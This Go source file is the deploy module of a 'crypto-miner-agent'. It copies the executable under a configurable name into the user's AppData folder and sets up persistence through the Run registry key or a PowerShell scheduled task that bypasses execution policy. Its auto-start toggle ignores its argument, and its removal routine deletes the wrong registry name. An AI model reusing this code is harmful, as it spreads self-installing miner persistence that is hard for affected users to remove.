Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
184 lines
4.9 KiB
Go
184 lines
4.9 KiB
Go
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
|
|
"golang.org/x/sys/windows/registry"
|
|
)
|
|
|
|
const runFlag = "--run"
|
|
|
|
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
|
// and relaunches the miner from there. Returns true when the current process should exit.
|
|
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|
currentExe, err := CurrentExecutable()
|
|
if err != nil {
|
|
return false, err
|
|
}
|
|
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == runFlag {
|
|
return false, nil
|
|
}
|
|
}
|
|
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return false, err
|
|
}
|
|
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
|
|
|
if samePath(currentExe, installedExe) {
|
|
return false, nil
|
|
}
|
|
|
|
if err := os.MkdirAll(installDir, 0755); err != nil {
|
|
return false, fmt.Errorf("create install dir: %w", err)
|
|
}
|
|
|
|
if err := copyFile(currentExe, installedExe); err != nil {
|
|
return false, fmt.Errorf("copy miner: %w", err)
|
|
}
|
|
|
|
logPath := filepath.Join(installDir, "miner.log")
|
|
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
|
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
|
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
|
)), 0644)
|
|
|
|
if cfg.AutoStart {
|
|
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
|
|
return false, fmt.Errorf("auto-start: %w", err)
|
|
}
|
|
}
|
|
|
|
if err := configureRunMode(cfg, installedExe); err != nil {
|
|
return false, err
|
|
}
|
|
|
|
if err := relaunch(installedExe, logPath); err != nil {
|
|
return false, fmt.Errorf("start installed miner: %w", err)
|
|
}
|
|
|
|
return true, nil
|
|
}
|
|
|
|
func InstallDir(workerName, buildID string) (string, error) {
|
|
return config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
WorkerName: workerName,
|
|
BuildID: buildID,
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: config.DefaultInstallRelativePath,
|
|
},
|
|
}.InstallDirectory()
|
|
}
|
|
|
|
func configureAutoStart(workerName, exePath string) error {
|
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer k.Close()
|
|
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
|
}
|
|
|
|
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
|
switch cfg.RunAs {
|
|
case "scheduled":
|
|
return createScheduledTask(cfg.WorkerName, installedExe)
|
|
case "service":
|
|
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
|
|
return createScheduledTask(cfg.WorkerName, installedExe)
|
|
default:
|
|
return nil
|
|
}
|
|
}
|
|
|
|
func createScheduledTask(workerName, exePath string) error {
|
|
taskName := sanitizeName(workerName)
|
|
if taskName == "" {
|
|
taskName = "CryptoMinerAgent"
|
|
}
|
|
script := fmt.Sprintf(
|
|
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
|
strings.ReplaceAll(exePath, `'`, `''`),
|
|
runFlag,
|
|
taskName,
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
return cmd.Run()
|
|
}
|
|
|
|
func relaunch(exePath, logPath string) error {
|
|
cmd := exec.Command(exePath, runFlag)
|
|
cmd.Dir = filepath.Dir(exePath)
|
|
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
|
return cmd.Start()
|
|
}
|
|
|
|
func registryValueName(workerName string) string {
|
|
name := sanitizeName(workerName)
|
|
if name == "" {
|
|
return "CryptoMinerAgent"
|
|
}
|
|
return "CryptoMiner-" + name
|
|
}
|
|
|
|
func sanitizeName(name string) string {
|
|
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
|
return replacer.Replace(strings.TrimSpace(name))
|
|
}
|
|
|
|
func samePath(a, b string) bool {
|
|
a = filepath.Clean(a)
|
|
b = filepath.Clean(b)
|
|
if strings.EqualFold(a, b) {
|
|
return true
|
|
}
|
|
aAbs, errA := filepath.Abs(a)
|
|
bAbs, errB := filepath.Abs(b)
|
|
if errA != nil || errB != nil {
|
|
return false
|
|
}
|
|
return strings.EqualFold(aAbs, bAbs)
|
|
}
|
|
|
|
func copyFile(src, dest string) error {
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
|
|
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|
|
|
|
func ConfigureAutoStart(exePath string, enabled bool) error {
|
|
return configureAutoStart("default", exePath)
|
|
}
|
|
|
|
func removeAutoStart() error {
|
|
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
defer k.Close()
|
|
_ = k.DeleteValue("CryptoMinerAgent")
|
|
return nil
|
|
}
|